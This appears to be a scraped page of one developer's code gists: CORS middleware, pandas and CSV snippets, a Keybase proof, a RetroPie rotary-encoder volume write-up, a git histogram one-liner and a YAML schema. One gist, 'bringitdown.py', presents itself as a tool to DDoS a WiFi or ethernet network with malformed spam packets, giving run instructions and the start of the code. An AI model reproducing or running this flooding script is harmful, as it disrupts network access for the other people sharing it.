betodealmeida

class CORSMiddleware(object):
    """Enable serving of CORS requests (http://en.wikipedia.org/wiki/Cross-origin_resource_sharing)"""

    ALLOW_ORIGIN = "*"
    ALLOW_HEADERS = "Origin, X-Requested-With, Content-Type"

    def __init__(self, app):
        self.app = app

    def __call__(self, environ, start_response):

betodealmeida

validos = validos[~isnan(validos.numero)]
for l in lixo:
    validos = validos[validos.comida != l]

betodealmeida

Keybase proof

I hereby claim:

• I am robertodealmeida on github.
• I am beto (https://keybase.io/beto) on keybase.
• I have a public key whose fingerprint is 1CAF EFDA 6784 AD5E 406D 697F E0BB 5E03 9707 FD33

To claim this, I am signing this object:

betodealmeida

def stream(self):
    with open(self.filepath, 'Ur') as fp:
        reader = csv.reader(fp)
        reader.next() # consume var names
        for row in reader:
            yield row

betodealmeida

# DDoS any WiFi network or ethernet interface you're connected do, drowning out other people's legitimate traffic with spam malformed packets

# brew install libdnet; pip install dnet
# sudo python bringitdown.py

import dnet

def bring_it_down(iface="en0", spam_packet='HOST:all|GET:spam'):
    datalink = dnet.eth(iface)
    h = datalink.get().encode('hex_codec')

betodealmeida

// Refrence from: https://gist.github.com/beevelop/a0f2c76e79610dca01550c9a93f83876
// Copy following scripts in the developer console of page included markdown content you want to print:

(function () {
	var $ = document.querySelector.bind(document);
	$('#readme').setAttribute('style', 'position:absolute;top:0;left:0;right:0;bottom:0;z-index:100;background-color:white');
	$('#readme>article').setAttribute('style', 'border: none');
	$('body').innerHTML = $('#readme').outerHTML;
	window.print();
})();

betodealmeida

Using a rotary encoder as a volume control

On my RetroPie machine I wanted a hardware volume knob — the games I play use a handful of emulators, and there's no unified software interface for controlling the volume. The speakers I got for my cabinet are great, but don't have their own hardware volume knob. So with a bunch of googling and trial and error, I figured out what I need to pull this off: a rotary encoder and a daemon that listens for the signals it sends.

Rotary encoder

A rotary encoder is like the standard potentiometer (i.e., analog volume knob) we all know, except (a) you can keep turning it in either direction for as long as you want, and thus (b) it talks to the RPi differently than a potentiometer would.

I picked up this one from Adafruit, but there are plenty others available. This rotary encoder also lets you push the knob in and treats that like a button press, so I figured that would be useful for toggling mute on and off.

betodealmeida

FOO
BAR
TEST

betodealmeida

git log --author="Linus Torvalds" --date=iso | perl -nalE 'if (/^Date:\s+[\d-]{10}\s(\d{2})/) { say $1+0 }' | sort | uniq -c|perl -MList::Util=max -nalE '$h{$F[1]} = $F[0]; }{ $m = max values %h; foreach (0..23) { $h{$_} = 0 if not exists $h{$_} } foreach (sort {$a <=> $b } keys %h) { say sprintf "%02d - %4d %s", $_, $h{$_}, "*"x ($h{$_} / $m * 50); }'

betodealmeida

- columns:
  - column_name: year
    is_dttm: true
    type: DATETIME
  - column_name: country_name
    type: VARCHAR(255)
  - column_name: region
    type: VARCHAR(255)
  - column_name: country_code
    type: VARCHAR(3)